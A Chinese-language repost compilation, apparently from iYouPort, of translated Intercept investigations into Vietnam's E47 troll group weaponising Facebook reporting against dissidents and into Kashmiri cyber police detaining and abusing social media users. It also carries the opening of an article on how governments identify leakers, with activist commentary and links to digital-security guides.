在2018年6月的一个帖子中，一名E47成员分享了被指控参与胡志明市某个抗议活动的活动家 Nguyen Quoc Duc Vuong 的资料，并补充说，他们希望当地警方能够调查。一名自称是越南林同省警察的男子很快自告奋勇；一年多后，“人权观察” 报道说，“参加了胡志明市反对经济特区法草案和新通过的网络安全法的大型抗议活动” 的 **Vuong** 因其在 **Facebook** 上的帖子而被捕。

巧合的是，当越南通过了2018年那部具有里程碑意义的 “网络安全” 法时 —— 广受诟病的是该法赋予了国家在网上删除不同言论的全权 —— E47给其成员下达了一个任务，即 截图在一份讨论该法律的文章上留下的 “反动” 评论，以便日后可以将其作者作为目标。

在另一个案例中，E47群组中的一个帖子分享了一名男子被拘留和审讯的照片，这是一名河内公民对一名交通警察的投诉，因此很快导致该男子被捕。另一连串帖子显示，E47如何拘留了另一名河内男子，同样是因为嘲笑警察。该男子的所谓违法行为是在 Facebook 上创建了一个显示一名警官独自用餐的帖子，标题是（越南语）“一只狗在吃早餐”。E47的成员直接将该帖子发给了一名警察，随后该男子被拘留，并被要求在帖子的打印件上签字。整个过程中的照片被直接发到E47上，让其成员 “庆功”。

还有一次，E47的成员密谋攻击越南政治异见团体 “勇敢作家协会” 的 Facebook 页面，提交虚假的举报，声称该团体鼓吹暴力和自杀，不久后发现他们显然成功了。该协会的网页已被封锁，无法进入。几个月后该组织的页面被解锁，但在2018年6月，该组织告诉其追随者，因为它被 Facebook 举报和处罚了很多次，该组织将不得不转移到另一个网站。

「图」

「图」

越南流亡博客作者 Nguyen Ngoc Nhu Quynh 在得克萨斯州休斯敦谈论她在越南监狱服刑的条件，条件是她于2018年10月26日离开越南

Facebook 的全球影响力让**E47**这样的审查组织很容易惩罚在越南境外的异议人士。越南人气博主 Nguyen Ngoc Nhu Quynh 也被称为“蘑菇妈妈”，她写了一连串关于环境破坏和国家腐败的文章，导致她在2016年因 “进行反国家宣传” 而被捕，两年监禁。她于2018年获释，流亡美国，并试图重启自己的 Facebook 存在。然而这立即引起了**E47**的注意，促使成员大规模举报**Quynh**的新帖子。大赦国际在为**Quynh**代言后，也成为了**E47**攻击的目标。

据路透社报道，总部位于洛杉矶的空气质量监测应用 AirVisual 在2019年10月宣布，在报道河内最近遭受90个主要城市中最严重的空气污染后，它正面临着对其声誉的 “协调性攻击”。此前一天，根据 The Intercept 浏览的帖子，E47发起了一场针对该应用程序的抵制运动，呼吁其成员用一星评价和欺诈性内容违规举报在该公司的 Facebook 上发送垃圾信息，以 “向公司施压，要求其发布道歉”。

「图」

「图」

这段文字的意思：“越国人都快疯了。因为越南政府支持Facebook总裁马克·扎克伯格。 按图片指示加入这场战斗。 记得下载hola使用假英国IP。 让我们一起打掉Viet Tan（Facebook）的页面。活动从今晚开始，在一天中的任何时间都可以（17/8/2019）。 通过新的 Facebook 管理工具，它收紧了社交平台上的所有恐怖活动，所以现在是发起RIP运动/战斗的好时机。希望大家都能参与进来，这样才能取得更好的效果（举报他们的人越多，他们的页面崩溃的几率就越大）。”

The Intercept 看到的更多帖子显示，**E47**管理员组织了对其他各种民间组织的攻击，包括 Viet Tan（一个民主倡导组织）和 Luat Khoa（一个只能通过 Facebook 访问的独立新闻机构，因为它在越南国内被政府封锁）。

在2019年8月E47宣布即将攻击 Viet Tan 的帖子中，一名该组织成员指出，攻击的时机已经到来，因为该组织已经失去了蓝色V认证，“因为越南政府[支持]FB总裁马克·扎克伯格”。事实上，E47和 Facebook 之间的关系往往会显得非常好。在E47动员反对 Luat Khoa 的 Facebook 存在，特别是针对批评 “政府或赞扬人权活动家” 的帖子之

后，根据一位编辑的说法，**Facebook** 的回应是取消了该报纸使用快速加载即时文章的能力，这一功能对越南等国家数据计划有限且连接缓慢的用户特别有价值。Luat Khoa 的编辑说，自从 Facebook 采取惩戒措施以来，他们网页的流量已经下降了一半以上，并且努力对这一决定提出上诉或恳求 Facebook 给予一定的谅解，但遭到 Facebook 的拒绝和忽视。

Facebook 说越南的人肉骚扰小组 “没什么问题”

据 Mai Khoi 和其他主张该公司保护平台上的言论不受E47攻击的异议人士说，否认和冷漠是 Facebook 对E47反应的标志。Mai Khoi 说，她多年来一直在试图推动 Facebook —— 这家以拖延和犹豫不决而臭名昭著的公司，除非遇到高调的公关危机 —— 其结果让她相信，扎克伯格对 “言论自由” 的公开赞美是 “完全的谎言”。

“在过去的两年里，我一直在倡导 Facebook 保护越南人民唯一可以自由表达的空间”，Mai Khoi 在接受采访时说。“Facebook 的政策并没有这样做，而是遵循越南当地的法律，用来压制自由言论，让政府的 Trolls 组织骚扰越南用户（从线上到线下），并对社交媒体进行审查”。她补充说，“和我国政府一样，**Facebook** 是一个不负责任的暴政。”

Mai Khoi 表示，Facebook 曾多次在不同场合邀请她讨论E47对言论自由的威胁，以及 Facebook 不作为的现实后果，包括与 Facebook 人权产品政策经理 Alex Warofka、内容分发和算法政策负责人 Andy O’Connell、以及负责全球政策管理的副总裁 Monika Bickert 进行多次对话。Mai Khoi 说，每一次会议都会有新一轮的保证，说 Facebook 把用户的自由表达和安全看得多么神圣，公司在根除世界各国把 Facebook 当做武器攻击异议的不良行为方面做了多少工作 ……巴拉巴拉。但是，一次又一次的会议后，**E47**依然在线，并如常运行。

Mai Khoi 在2018年10月与 O’Connell 和 Warofka 的一次会议上首次将E47对 Facebook 社区标准的武器化提请公司注意。该公司的早期回应令人鼓舞。“我要求他们阻止政府支持的巨魔农场在 Facebook 上压制独立记者和活动家的行为”，Mai Khoi 通过电子邮件告诉 The Intercept。Facebook 很快提供了保证，表示已经在处理国家秘密审查的问题，并提出直接与她合作，确保问题得到解决。

在她的要求中，首先是在 Facebook 和越南民间团体之间建立一个专门的渠道，希望即使异议人士和记者的个人账户被关闭或帖子被删

除，他们也应该得到该公司的提醒和解释。令她感到意外的是，Facebook 声称已经存在这样一个渠道，而且它与越南活动家团体经常保持联系。“这对我来说是一个很大的惊讶”，Mai Khoi说，“我认识的越南所有主要的独立记者和活动家，他们都不知道民间社会和 Facebook 之间还有什么专门的沟通渠道。”

12月，Warofka 联系了 Mai Khoi，感谢她将E47放在 Facebook 的雷达上，并指出，虽然公司的隐私政策禁止他分享任何细节，但作为“正在进行的调查”的一部分，Facebook 将撤销被其确定为错误的任何内容的删除或账户禁令。Warofka 在最后感谢 Mai Khoi 对确保“Facebook 仍然是越南和世界各地的人们有空间安全地表达自己的地方”的兴趣。

而 Facebook 是否认同这种兴趣则是另一回事。Mai Khoi 解释说，虽然感谢 Facebook 对此事的关注，但她想知道为什么E47及其领导人仍在自由使用该平台。Mai Khoi 没有得到任何答复，但在整个2019年都在跟进，要求提供 Facebook 对该组织的最新调查情况，以及被该组织密谋封杀的账户和页面的命运。“很抱歉发了这么多邮件，显然活动家和记者的账户被封锁的速度超过了我们的追踪速度”，她在2019年1月写道，“我希望将来我们能建立一个系统，这样我就不需要每次有问题都给你发邮件了。”这一次她没有得到任何回复。

6月，她再次尝试。“你还在与越南的民间社会利益相关者合作吗？我之所以这么问，是因为最近有一些关于 Facebook 在越南运营的问题，我想提请你注意，虽然你没有回复我最近发出的几封邮件。”最后，Warofka 做出了回答，他再次声称，公司正在“调查”被不适当封锁的账户，但他指出，对E47早先针对的账户进行审查后发现，这些账户“因违反了我们的全球社区标准而被正确地采取了封锁行动”。换句话说，Facebook 已经确定E47是按照该平台设计的举报机制使用 Facebook 的。该组织继续使用这种内容节制工具，像以前一样轻松打击不同意见；现在唯一的区别是，**Facebook** 知道这一切正在发生。

“看来，关于访问和内容审查的决定是以一种非常武断的方式做出的，几乎没有任何透明度”，Mai Khoi 在回复 Warofka 时感叹道。“我希望你能找到一种方法来改善这种情况。”

「图」

「图」

Nguyen Quoc Duc Vuong 于2020年7月7日在越南林同省开庭审理期间

10月，Facebook 同意就E47再次召开会议，Mai Khoi 认为此举可能意味着该公司终于认真对待这一威胁。然而就在当月，据人权观察报道，越南民主倡导者 Vuong 被逮捕，并被指控通过 Facebook “制作、存储、传播或宣传旨在反对越南社会主义共和国国家的信息、材料和产品”。

在被捕之前，Vuong 一直是E47的固定针对目标：“他是近期胡志明市抗议活动的积极力量”，The Intercept 评论的一个帖子这样写道，“希望你们南部和林同省Lac Lam区的警察能调查一下。”

有了这个和其他 E47 相关的书面证据，Mai Khoi 希望下一次的会议会有所不同，这是一个机会，让 Facebook 不再口头声称 “言论自由” 神圣不可侵犯，而是开始真正守护言论自由。凭借数百亿美元的现金和E47多年的密谋文件，Facebook 既不能宣称缺乏资源，也不能宣称对越南发生的事一无所知。但该公司宣称的内容反而更让 **Mai Khoi** 和她的盟友们非常气愤 —— **Facebook** 声称 **E47** 根本没有违反规则。

12月由 Warofka 主持的电话会议，象征着 **Facebook** 已经变得多么无能，这是一个组织的写照，它既控制着全球近**30**亿人的信息流，又似乎不知何故，无法解决其最明目张胆的常年不断的错误和不当行为。

Warofka 开场告诉 Mai Khoi，他已经将她提供的关于E47的信息转达给了 Facebook 的威胁情报团队，负责调查协调性不真实活动的团队，以及一个负责审查社区标准违规行为的内部团队。好消息到此为止。尽管 Warofka 表示，该公司已经确定少数 Facebook 用户在试图让E47的攻击目标噤声时违反了该网站的规则，但他也承认，“我们无法根据这些信息发现符合我们对协调性不真实行为定义的活动。”

虽然在2016年总统大选后，“协调性不真实行为” 已经成为 Facebook 打击网络虚假信息和民主颠覆的金字招牌，但是，其定义和应用范围仍然非常窄。如此狭隘，看起来，像**E47**这样的**Trolls**团体显然得到了通行证；他们的行为是协调性的，恶意使用 **Facebook** 的内容节制工具，但他们的整体活动与**2016**年俄罗斯巨魔的具体玩法有足够的差异，却得以留在**Facebook**上。

尽管E47代表了数千名 Facebook 用户的广泛协调性攻击行动，但很

多其成员都是用自己的真名，用自己的真实照片，就是从 “真实” 的账户中进行的协调性攻击。通过甚至不屑于在虚假身份背后掩饰自己的行为，**E47**成员似乎又一次找到了一种方法，可以利用 **Facebook** 的繁琐规则来对付该公司的用户，完全不受惩罚。

即使有令人信服的证据表明，E47与越南政府合作并代表越南政府工作 —— 这也是俄罗斯在2016年试图干预选举的因素，但是，Warofka 耸耸肩，解释说：“当我们收到一份关于我们社区标准的报告时，我们不会关心这份报告来自哪里。我们并不关心是否是政府的报告。”

Facebook 自己也承认，对 “不真实性” 的关注极其有限，这意味着公然的恶意、明显违背了该公司公开宣称的价值观，却没有违反任何规则。“这其实是一个非常非常狭窄的范围关于什么是符合协调性不真实行为网络的特定门槛的行为者”，Warofka 承认。Mai Khoi 了解到，**Facebook** 曾专门调查过**E47**，并拒绝对其采取任何行动。

换句话说，Facebook 已经确定，以打压民主言论为名发送虚假的色情和虚假的即将发生的暴力的恶意举报，并不违反其规则。

“当 Alex 告诉我，这个团体不符合 Facebook 对协调性不真实行为的定义，因为这些账号并不是假的时，我问他为什么 Facebook 没有禁止协调性真实行为的政策 —— 他没有回答我”，Mai Khoi 解释道。

「图」

「图」

E47的 Facebook 页面上引用了越南政客和政治局委员 Vuong Dinh Hue 的话：“从未威胁过任何人，尤其是从未让任何人威胁过政府。

E47继续使用 Facebook 攻击异议人士

自2019年以来，E47仍然积极行动毫无畏惧。被**E47**成员长期追踪和盯上的越南异议人士继续遭受攻击。仅在**2020**年，就有多名**E47**的长期攻击目标以宣传或违反国家机密的模糊指控而被捕。

10月，E47的攻击目标 Pham Doan Trang 和 Nguyen Quang Khai 都被国家当局逮捕；越南人权倡导组织 Defend the Defenders 报道称，“根据10月21日发给其家人的通知，同奈省警察局维稳调查机构以在其 Facebook 账户上复制和传播国家机密的行为为由，紧急拘留

了 Khai 先生”。

正在发生的 Covid-19 疫情和农民与政府官员之间因土地争议而发生的一系列升级冲突，都成为了E47攻击异议的首要任务。在 TheIntercept 看到的一个帖子中，一名E47成员鼓励在场的国家维稳部门成员监视一名对政府的冠状病毒应对措施提出批评的女性博主。据越南自由言论组织88项目报道，仅仅10天后，这位女士就被警方拘留了。另一个**E47**成员针对一名在 **Facebook** 上分享链接比较越南和欧洲的防疫反应的男子的帖子，鼓励其**Trolls**成员将此人殴打致死。正如洛杉矶时报所报道的那样，争夺土地的斗争已经成为 Facebook 上批评越南政府的言论被人肉部队瞄准中的一个热点。

整个互联网由 **Facebook** 主导，传统媒体由国家主导，前者不愿打扰后者，越南异议人士往往根本无处可去。

在无国界记者组织的世界新闻自由指数排名中，越南位于倒数第五位（仅高于中国和朝鲜等国），Facebook 显然愿意在其网站被用来惩罚完全合法的异议政治言论时睁一只眼闭一只眼，正如 Mai Khoi 等人和大赦国际组织等团体所言，这对越南的自由言论和结社自由的打击是灾难性的。

该公司在越南和世界各地的批评者都没有选择。“我们已经和 Facebook 反复讨论过这些事”，人权观察的 Brad Adams 说，“他们一直愿意谈，他们对维权人员似乎也很同情，但是，总的来说，他们的回应是软弱的、不一致的、不透明的，而且太愿意妥协基本原则。”

“合法的移除请求已经成为最近的首选武器”，大赦国际的 Ming Yu Hah 解释说。“以前，在内容受到有关言论自由的人权标准保护的情况下，Facebook 似乎会拒绝这种移除请求。然而该公司在去年**4**月份宣布了一项新的越南政策，以应对政府的压力，这使得当局有恃无恐地扩大了他们使用合法的移除请求作为审查的渠道。据 Hah 称，Facebook 现在遵守越南当局95%的审查请求。

许多受到 Facebook 的不作为威胁的越南持不同政见者表示，这表明情况已经变得多么绝望。“与 Facebook 打交道对我们这些活动人士来说就像在黑暗中行走”，民主组织 “越南法律倡议” 的联合创始人 Vi Tran 说。“如果 Facebook 决定以任何理由删除一条内容，请让我们知道是什么原因。仅仅扔给我们 ‘违反社区标准’ 是不够的，因为这种论调是武断的和模糊的。”

但在经历了多年的失望和徒劳之后，Mai Khoi 和 Facebook 本土越来

越多的用户一样，认为透明度举措和话语权的时代可能已经结束。由于巨额的广告收入和电商现金依赖于 **Facebook** 在越南市场持续的、不受影响的存在，**Mai Khoi** 表示，**Facebook** 根本无法被信任，无法将用户置于其收益之前。美国国会需要对该公司进行监管和拆分。” ◯

FACEBOOK LETS VIETNAM’S CYBERARMY TARGET DISSIDENTS, REJECTING A CELEBRITY’S PLEA

原文

他们因发布推文而遭到网警的审讯和拷打 - iYouPort

关于亚马逊、苹果、推特维稳面面观

发表异议推文的人被抓捕，被威胁如果不答应做警察的线人去渗透监视其他异议人士，就会被起诉判刑 …… VPN也没用，警察很容易找到任何社交媒体用户的真实身份 ……

【按】这份报道中被抓捕的异议人士所讲述的几乎所有迫害形式，我们都曾经在中国听闻过，这正是为什么我们针对性地提供了很多防御方案和技术建议。为了帮助您回顾这些更有效的安全做法，我们以“注解”的形式将相关内容插入报道中。您可以点击这些链接进一步阅读或重温。

「图」

「图」

艾哈迈德在走近那个加固的警察局时很紧张，警察局的墙壁上布满了铁丝网，入口处有持枪的警卫把守。这名大学生前一天接到查谟和克什米尔网络警察的电话，要求他到警局报到，但没有说明原因。艾哈迈德因害怕报复而改名，他此前从未被警方传唤过。

警察到达后，立即将艾哈迈德带到附近的另一个站点；在门口就没收了他的手机。他被带到一间拘留室，在那里他注意到了另外四个年轻人。在交换了几个紧张的眼神和悄悄的耳语之后，这五个年轻人意识到他们认识对方 —— 不是认识本人，而是通过社交媒体。

他们是第一次在 Cargo 这个以历史上作为酷刑场所而闻名的镇压警察总部见面。自去年8月以来，位于印控克什米尔首府斯利那加的这个设施就据称被用来审讯和折磨克什米尔年轻的社交媒体用户，这些用户只因为批评了印度政府自去年以来在该地区实施的镇压政策。

- 不要错过《少说话，多办事 …… 当坏蛋手持宪法》

人权组织 “查谟克什米尔民间社会联盟” 8月报告说，警方对200多名社交媒体平台用户和私人网络用户进行了投诉，根据所谓的 “反恐” 和 ”拘留法”，部署监控技术追踪并传唤这些公民到警察局。

艾哈迈德和他在 Cargo 遇到的几个年轻人都是被传唤的人中的一员，他们大多是学生，他们向 The Intercept 讲述了自己因在社交媒体上发帖而被警方拘留的经历。

他们中的一些人曾被网警部门联系，并被要求在当地警察局签署一份不具约束力的协议 —— “保证” 不得在社交媒体上批评民政当局或武装部队。另一些人讲述说，他们在那里遭到殴打、辱骂，并受到监禁或死亡的威胁。

最近警方对社交媒体的镇压是印度印度教民族主义总理纳伦德拉·莫迪（Narendra Modi）自2019年8月以来审查工作急剧升级的一部分，当时政府单方面决定撤销查谟和克什米尔以前受印度宪法保障的半自治地位，并将该地区划分为由其直接控制的联邦领土。

这些受到警方审查的帖子大多在 Twitter 和 Facebook 上分享，具有明显的政治性：这些帖子质疑印度在该地区特殊地位被取消前后对克什米尔人采取的行动，以及印度镇压部队犯下的侵犯人权罪行和媒体对这些侵权罪行的沉默。Twitter 没有回应评论请求。

受害者表示，警方没收了他们的手机，几天后又将其归还，此前警官曾使用审讯期间提取的登录凭据访问他们的社交媒体账户。自从被释放后，许多受害者表示，他们不再在网上发布任何政治内容，或者他们已经停用了自己的社交媒体账户，以避免再次被传唤。

- 被警察拿走又归还的手机有可能已经被植入了间谍软件，如果您不得不继续使用这部手机，请先确认其是否安全，见《我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的数字急救包》
- 📌 如何防备手机被警察抢走《如何保持 Android 设备免受警察的侵害》、《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》
- 📌 关于警察使用的取证技术您需要了解的东西：《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》、《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》、《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

克什米尔和印度媒体之外很少有关于最近这场镇压行动的报道。克什米尔记者 Auqib Javeed 在为印度新闻网站 Article 14 发表有关报道后，于9月底被传唤到网警总部。他后来说，他在 **Cargo** 遭到了殴打，并被拘留了**5**个小时 —— 这种待遇与其他社交媒体用户所描述的十分相似。

对社交媒体用户和记者的恐吓是为了压制批评，**Gowhar Geelani** 说，他是一名记者和作家，他"本人曾被"网警根据印度有争议的反恐法—— 《非法活动预防法》（**Unlawful Activities Prevention Act**）—— 的威胁："这是更大范围的打击异议和定罪异议的一部分"。

「图」

「图」

克什米尔记者于2020年1月30日在印度控制的克什米尔斯利那加市政府机构在媒体中心内用手机上网 /AP

审讯室内

克什米尔被认为是世界上军事化程度最高的地区之一，去年8月，印度政府对其进行了前所未有的军事封锁。手机服务和数字通信线路在没有任何事先通知的情况下被封锁 —— 这导致了这个 "全球最大的民主国家" 有史以来最长时间的互联网关闭。印度政府在3月恢复了互联网接入，包括之前被禁止的社交媒体网站，但只是以缓慢的2G速度接入。

【注：如今全世界的当权者在镇压的第一步都会采取断网的手段，于是敏感人士如何在断网的情况下继续工作已经成为一项基本必备的技能，我们提供过一系列相关措施 —— "如何应对断网" 板块在 列表-5 中汇总】

总部设在印度的互联网倡导组织 "互联网自由基金会"（Internet Freedom Foundation）顾问 Devdutta Mukhopadhyay 表示，对互联网访问的限制是与该地区的监控增加同步进行的。"我们在过去一年中看到的一些例子是 "WhatsApp 群组管理员"被要求向地区当局注册、"VPN服务被禁止"，以及对预付移动互联网用户的额外身份验证要求"，她说。

- 这些封锁和审查形式全球都有发生，这里是一份报告《铁幕之

下：全球反抗者如何对战监视者？》
- 此外，一些安全措施《如果您必需使用 WhatsApp：这里是减少伤害的办法》

一些克什米尔人本着几十年来对印度统治的反叛精神，在社交媒体上宣泄对政府的不满 —— 但可能后果很严重。

艾哈迈德在拘留室里呆了3个多小时，被取了指纹、被拍了照片，并被迫交出了自己的银行账户信息和其他个人资料后，他被带到了一间审讯室，几名警察在那里等着他。“警察大喊大叫，‘谁给你钱让你在网上发这些东西！’” 他说，“一名警官扇了我一巴掌，踢了我一脚”。其中一名警官向他展示了一份文件，里面有他在 **Twitter** 上的帖子截图。

“我被要求解锁手机，一名警官开始扫描我的手机”，艾哈迈德说，“另一名警员要求我提供电子邮件和社交媒体账户的密码”。警员们调出了艾哈迈德的推特账号在台式电脑上登录，开始盘问他最近发布的推文。其中一些帖子要求警方和印度军队对侵犯人权的行为负责，比如法外处决平民，而另一些帖子则显得更为温和。

【注：📌 对于如何应付审讯中这种手段、以及如何防止被审讯手段威胁到敏感人士社区和更多人的安全，相关知识汇总在《在敌对环境中保护自己》系列中，此处的链接是该系列最后一集内容，其中包含完整内容列表】

“一名警察问我，为什么我向今年获得普利策奖的克什米尔摄影师表示祝贺”，艾哈迈德说，“他们问我，为什么我在推特上有选择地引用诗人和诗歌。”

另一名与 Intercept 对话的大学生也表示，他被拘留时，一名警察没收了他的手机，并查看了他母亲和兄弟姐妹的照片。

“警察威胁说我的家人也会像我一样被对待”，Bilal 说，他的名字也被编辑过，因为害怕被报复。

Bilal 和另外两名受害者告诉 The Intercept，警官曾提议让他们成为警察的 线人，帮助警方监控的其他社交媒体用户，以换取他们自己的释放。他们被告知，如果不配合做线人，他们将被关进监狱，或者在下一次"枪战中"被杀死。

Bilal 对成为警察线人的提议感到莫名其妙，他说，他从来都没有想过

自己的推文会落到警方要求他成为间谍的境地。

“他们会让我一个人呆上几个小时来决定是否答应做线人”，他说。他最终被放走，并被警告说，下次将根据《防止非法活动法》对他进行起诉。

【📌 请注意！在中国我们也听闻到这样的状况 —— 被警察传唤的人被威胁、被要求做警方线人渗透本土的反抗组织，我们去年多次讲述关于反渗透的技巧和渗透者常用的手段，这些知识都可以帮助您防备警察/政府线人；尤其重要的是：敏感人士和反抗组织必需能够掌握和熟练使用《"安全文化"》，这是防御一切渗透操纵的唯一有效方案。】

跟踪和追溯

在去年8月封锁后不久，克什米尔的网络警察部队就得到扩大，目的是遏制所谓的“网络犯罪”。自那时以来，该部门已发展成为一个复杂的监视行动组织，配备了追踪克什米尔人的先进间谍技术 —— 包括最近对那些在冠状病毒疫情期间感染 **Covid-19** 的人进行监视的技术。同时负责网络部队的负责人塔希尔·阿什拉夫·巴蒂（Tahir Ashraf Bhatti）因其部门的“卓越”工作在独立日获得了印度政府颁发的奖章。

【注：📌 这就是为什么我们必须强调抵制以冠状病毒防疫为借口加强的反乌托邦监视国家状态，因为这些侵犯性的监视技术往往极有可能被用来瞄准政治异议和反抗者；如果作为反监视活动家，您在论述这个问题时局限于防疫期间的侵犯人权行为，就会错过这一更大的威胁。在这里论述《冠状病毒危机究竟是否能够结束？：威权主义的权衡》，在这里看到全球报告《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》】

网络部队负责人巴蒂告诉 Intercept，网络部队立案主要是针对有关金融诈骗和“网络欺凌”的投诉 —— "后者就是被用作传唤发布反政府帖子的社交媒体用户的理由"。他否认有人因在网上表达政治观点而被传唤或遭受酷刑。

巴蒂本人被指控至少殴打了一名在押的社交媒体用户。受害者告诉 Intercept，他在8月被传唤到网警工作站，只因为他在 Twitter 上嘲笑了巴蒂。他被带到 Cargo，在那里巴蒂用皮带在他身体的同一部位反复抽打了三天。“如果我告诉你他们打我的位置，他们就会知道我的身份”，他说。巴蒂否认发生过这一事件。

巴蒂拒绝详细介绍网络部队使用何种监控技术来收集居住在该地区和国外的克什米尔人的私密信息。多名公民告诉 Intercept，尽管使用**VPN**理论上可以在社交媒体保持匿名，但警方仍可以查出他们的真实身份。

【注：📌 VPN不是万能药，如果您不想被警察的社交媒体情报追踪到真实身份，您需要全套的分身术，做法见：《分身术完整指南：妥善管理您的在线身份并获得安全的方法》；这是给普通互联网用户的，避免您被警察作为完成抓捕任务的“指标”《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》；以及，为敏感人士更安全地在线传播信息和动员大众的基本防御措施：《使用社交媒体时你必须注意什么？—— 更安全的抵抗》】

“我们一般需要半个小时就能确定一个用户的所在位置和身份细节”，网警巴蒂说。他向 Intercept 展示了一段 WhatsApp 上的私密对话，在这段对话中，一名高级警官向他询问了一个目标人的地理位置和地址，以及他们是否有过去的记录。“我的团队在几分钟内就完成了任务”，他说。

网警巴蒂说，这个网警监视团队由**40**名精通技术的警察组成，而更具挑战性的案件则外包给私人监视公司，对此他没有具体说明。

- 警察将监视工作外包给私人监视公司的做法似乎正在很多国家“流行”，见这里：《私人监视网络正在崛起吗？这意味着什么》

寂静无声

虽然该网警部门的许多内部行动仍处于保密状态，但其监视审查行动对克什米尔的社交媒体活动产生了明显的寒蝉效应。许多账户已经消失，而另一些账户已经沉默或不再发布任何政治内容。

活跃在社交媒体上的22岁新闻专业学生 Shefali Rafiq 说，她对自己发布的内容变得更加谨慎了。“有一些社交媒体账户我一直在热切关注”，她说，“但现在，这些人要么停用了账号，要么不再写任何批评性的文章。”

3名社交媒体用户表示，自从被警方释放后，他们注意到自己的账户上有可疑的活动，比如他们并没有自己操作就出现了点赞或转发，或者莫名其妙地被关注了和取消关注其他账户。（很明显，账号被警方异地登录了）

被传唤的人表示，自从遭遇网警后，他们一直生活在恐惧中。艾哈迈德说，在连续四天被传唤审讯后，他终于被放了出来，条件是停止在网上批评印度政府和镇压部队，并随时到警局报到。

艾哈迈德说，自从获释后，他出现了恐慌症和食欲不振的情况。他已经无法像以前那样让自己在社交媒体上发帖了。

“有时我写了一篇长帖子，最后，我把它删掉了，然后一个人坐在这哭”，他说，“我的手机困扰着我”。〇

“MY PHONE HAUNTS ME”: KASHMIRIS INTERROGATED AND TORTURED BY CYBER POLICE FOR TWEETING

原文

他们是如何抓捕说真话的人？灾难和教训 - iyouport

维稳面面观透明度革命

【2019年12月6日存档】这篇文章非常重要，不论您是谁、做过或没做过什么，只要你的对手想要针对你，他们就会使用这些方法！任何政府间谍都可以使用这些手段，因为这些手段所基于的数字技术是全球共享的。

学校和真实生活之间的一个重要区别在于：学校先教你知识然后考试，生活则是先考试再教你知识。

你不需要亲自被考糊了才能学到东西，要知道一直不断有人被“考糊”，他们的教训应该成为更多人的知识。

⚠我们必须重点推荐这篇报告，向更多人推荐；因为，这其中分析到的所有政府抓人和取证的手段，是任何政府都惯常使用的 —— 包括中国政府 —— 而且，全球只有中国和美国能使用它们全部。

这是一系列血淋淋的教训。⚠提醒读者特别注意本报告中含有的诸多超链接；它们就是所有人能否活在这个世界的基本功。

越来越多的人受到“间谍法”的政府指控，但是他们并不是什么“间谍”。

他们只是很普通的人，携带着自动备份到云端的智能手机；当他们想与某人交谈时，会给对方发短信或打电话；他们使用 Gmail 并在 Facebook 上分享 meme 和谈论政治；有时他们甚至从工作用的计算机登录这些帐户。

就像绝大多数人那样活着。

然后，他们在工作过程中看到了一些令人不安的事。也许是因为政府经常不知道无人机袭击杀死的人是否是平民；或者国家安全局在2016年目睹了针对地方选举官员的网络攻击，情报部门认为这是由俄罗斯

精心策划的，尽管总统总是在电视上反驳；再或者，只是看到了 **FBI** 如何利用隐藏的漏洞渗透监视政治异议人士和宗教团体……

因此，这些普通人开始搜索政府数据库以获取更多信息，并可能打印出了他们找到的一些文档，真相和证据。

他们使用 Google 搜索了相关信息；也许他们甚至会向朋友发送短信，告诉他们在考虑可能的后续步骤时这是多么的疯狂……

他们应该联系记者吗？他们想要说出真相。

对真相的追求驱使他们开始查找自己喜欢的新闻机构的提示页面，并开始研究如何使用Tor浏览器。

所有这一切都发生在他们第一次联系记者之前。

⚠目前为止大多数人仍不太了解监视，但可以肯定，我们所有人都是监视的受害者。电信公司和技术巨头几乎可以访问我们所有私人数据，从我们在任何特定时间的确切物理位置、到我们的短信和电子邮件的所有内容。

⚠即使私人数据没有直接发送给科技公司，我们的设备仍在本地保存了这些数据。你还记得两个月前的今天下午3:05，你在电脑上做了什么吗？你不记得了，但是你的网络浏览器会记得。

然而，虽然所有人都在受到广泛的监视，但是对于政府雇员和承包商来说 —— 特别是那些有安全许可的人 —— 隐私几乎是不存在的。

他们正是能说出巨大真相的人。因为他们有机会接触到真相。

⚠每当他们搜索数据库时，他们使用的每一个搜索词和他们搜索的确切时间，都会被记录下来，并与他们的个人身份直接联系。

当他们访问一个秘密文件时，或者他们打印任何东西时，或者当他们将USB记忆棒插入他们的工作计算机时 …… 一切都被监视着，一切都被记录下来了。

可能存在员工截取屏幕截图或复制粘贴某些内容的确切日志。⚠即使他们试图通过直接拍摄屏幕照片来绕过工作电脑监视，他们的工作场所无处不在的摄像机也可能记录他们的一举一动。

这就是透明度革命面前的那堵墙。

拥有安全许可的政府工作人员需要承诺 “绝不向任何未经授权接收的人透露任何机密信息”。

但是，对于许多透明度革命的支持者而言，公开这些秘密的决定源于对政府阴谋的疑虑，同时深刻的认识到，只要该阴谋保持机密，这个体制就不会改变。

虽然对于在内部提出问题或向国会提出申诉的举报人提出了一些保护措施，但是，这些人仍然会因说真话而受到惩罚，这一惩罚的历史是很悠久的。

所谓的“间谍法”正在被越来越多地使用。这是一项1917年颁布的法律，规定：如果“有意或有理由相信该信息将被用于对美国的伤害或给外国人的利益”，那么公开该信息的任何人都会违反“间谍法”。

该法律本身充分体现了体制针对说出真相的人的打压。

根据该法律规定，政府内部人士不得辩称，他们决定分享这些信息的决定是出于帮助广大公民对抗和结束被政府虐待之厄运的热情。

“该法案对公众有兴趣了解政府的无能、腐败或犯罪的可能性视而不见，政府保护特定秘密的政治利益被置于超越一切的位置上”，第一修正研究所所长 Jameel Jaffer 最近写道。

在特朗普时代涉嫌泄密的四起所谓的间谍法案件中，最不寻常的关注就是：前中央情报局软件开发商 Joshua Schulte，他被指控泄漏 CIA 文件和黑客工具，也就是 Wikileaks 公开的著名 Vault 7 披露。

在这里看到《CIA前雇员被怀疑泄密，唯一“证据”是他使用了Tor浏览器》

Schulte 的案例与其他案件有所不同，因为在FBI于2017年3月扫荡他的家并没收了他的台式电脑、电话和其他设备之后，政府使用所谓的儿童色情来诽谤他（显然当局的扫荡并没有拿到泄密证据）。

检察官最初对 Schulte 提出了多项与儿童色情制品有关的罪名，后来又在另一起案件中受到所谓的性侵犯指控。

直到2018年6月，政府才最终根据所谓的“间谍法”指控他泄漏黑客工具。他对所有指控都表示不认罪。

其他三起因涉嫌泄露政府机密的所谓“间谍法”案件，均涉及被认为是

独立媒体 Intercept 的消息来源。
